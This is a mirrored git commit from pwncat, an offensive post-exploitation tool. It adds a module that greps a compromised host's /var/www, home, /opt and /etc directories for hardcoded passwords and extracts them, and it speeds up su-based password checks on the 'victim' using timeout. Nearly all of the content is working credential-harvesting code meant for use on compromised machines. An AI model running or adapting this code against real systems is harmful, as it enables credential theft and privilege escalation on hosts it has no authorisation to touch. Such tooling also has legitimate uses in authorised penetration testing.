1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Added initial implementention of configuration searching for passwords. Also, sped up pwncat.victim.su using the timeout command.

This commit is contained in:
Caleb Stewart 2020-05-29 19:17:34 -04:00
parent b46ec274a2
commit 1f278bb5cc
2 changed files with 121 additions and 1 deletions

View File

@ -0,0 +1,114 @@
#!/usr/bin/env python3
import dataclasses
import os
import re
from typing import Generator, Optional
from colorama import Fore
import pwncat
from pwncat.enumerate import FactData
name = "pwncat.enumerate.passwords"
provides = "passwords"
per_user = True
always_run = False
@dataclasses.dataclass
class Password(FactData):
path: str
value: Optional[str]
lineno: int
line: str
def __str__(self):
if self.value is not None:
return (
f"{Fore.YELLOW}{repr(self.value)}{Fore.RESET} from "
f"{Fore.CYAN}{self.path}{Fore.RESET}:{Fore.BLUE}{self.lineno}{Fore.RESET}"
)
else:
return (
"Possible password at "
f"{Fore.CYAN}{self.path}{Fore.RESET}:{Fore.BLUE}{self.lineno}{Fore.RESET}"
)
@property
def description(self):
return self.line
def enumerate() -> Generator[FactData, None, None]:
"""
Enumerate possible passwords in various files across the system
:return:
"""
# The locations we will search in for passwords
locations = ["/var/www", "$HOME", "/opt", "/etc"]
# The types of files which are "code". This means that we only recognize the
# actual password if it is a literal value (enclosed in single or double quotes)
code_types = [".c", ".php", ".py", ".sh", ".pl", ".js", ".ini"]
grep = pwncat.victim.which("grep")
if grep is None:
return
command = f"{grep} -InRiE 'password[\"'\"'\"']?\\s*(=>|=|:)' {' '.join(locations)} 2>/dev/null"
with pwncat.victim.subprocess(command, "r") as filp:
for line in filp:
line = line.decode("utf-8").strip().split(":")
if len(line) < 3:
print(line)
continue
path = line[0]
lineno = int(line[1])
content = ":".join(line[2:])
password = None
# Check for simple assignment
match = re.search(r"password\s*=(.*)", content, re.IGNORECASE)
if match is not None:
password = match.group(1).strip()
# Check for dictionary in python with double quotes
match = re.search(r"password[\"']\s*:(.*)", content, re.IGNORECASE)
if match is not None:
password = match.group(1).strip()
# Check for dictionary is perl
match = re.search(r"password[\"']?\s+=>(.*)", content, re.IGNORECASE)
if match is not None:
password = match.group(1).strip()
# Don't mark empty passwords
if password is not None and password == "":
password = None
if password is not None:
_, extension = os.path.splitext(path)
# Ensure that this is a constant string. For code file types,
# this is normally indicated by the string being surrounded by
# either double or single quotes.
if extension in code_types:
if password[-1] == ";":
password = password[:-1]
if password[0] == '"' and password[-1] == '"':
password = password.strip('"')
elif password[0] == "'" and password[-1] == "'":
password = password.strip("'")
else:
# This wasn't assigned to a constant, it's not helpful to us
password = None
# Empty quotes? :(
if password == "":
password = None
# This was a match for the search. We may have extracted a
# password. Either way, log it.
yield Password(path, password, lineno, ":".join(line))

View File

@ -1362,8 +1362,14 @@ class Victim:
raise PermissionError("no password provided and whoami != root!")
if current_user["uid"]["id"] != 0:
timeout = self.which("timeout")
if timeout is not None:
command = f'timeout 0.5 su {user} -c "echo good" || echo failure'
else:
command = f'su {user} -c "echo good" || echo failure'
# Verify the validity of the password
self.env(["su", user, "-c", "echo good"], wait=False)
self.run(command, wait=False)
self.recvuntil(b": ")
self.client.send(password.encode("utf-8") + b"\n")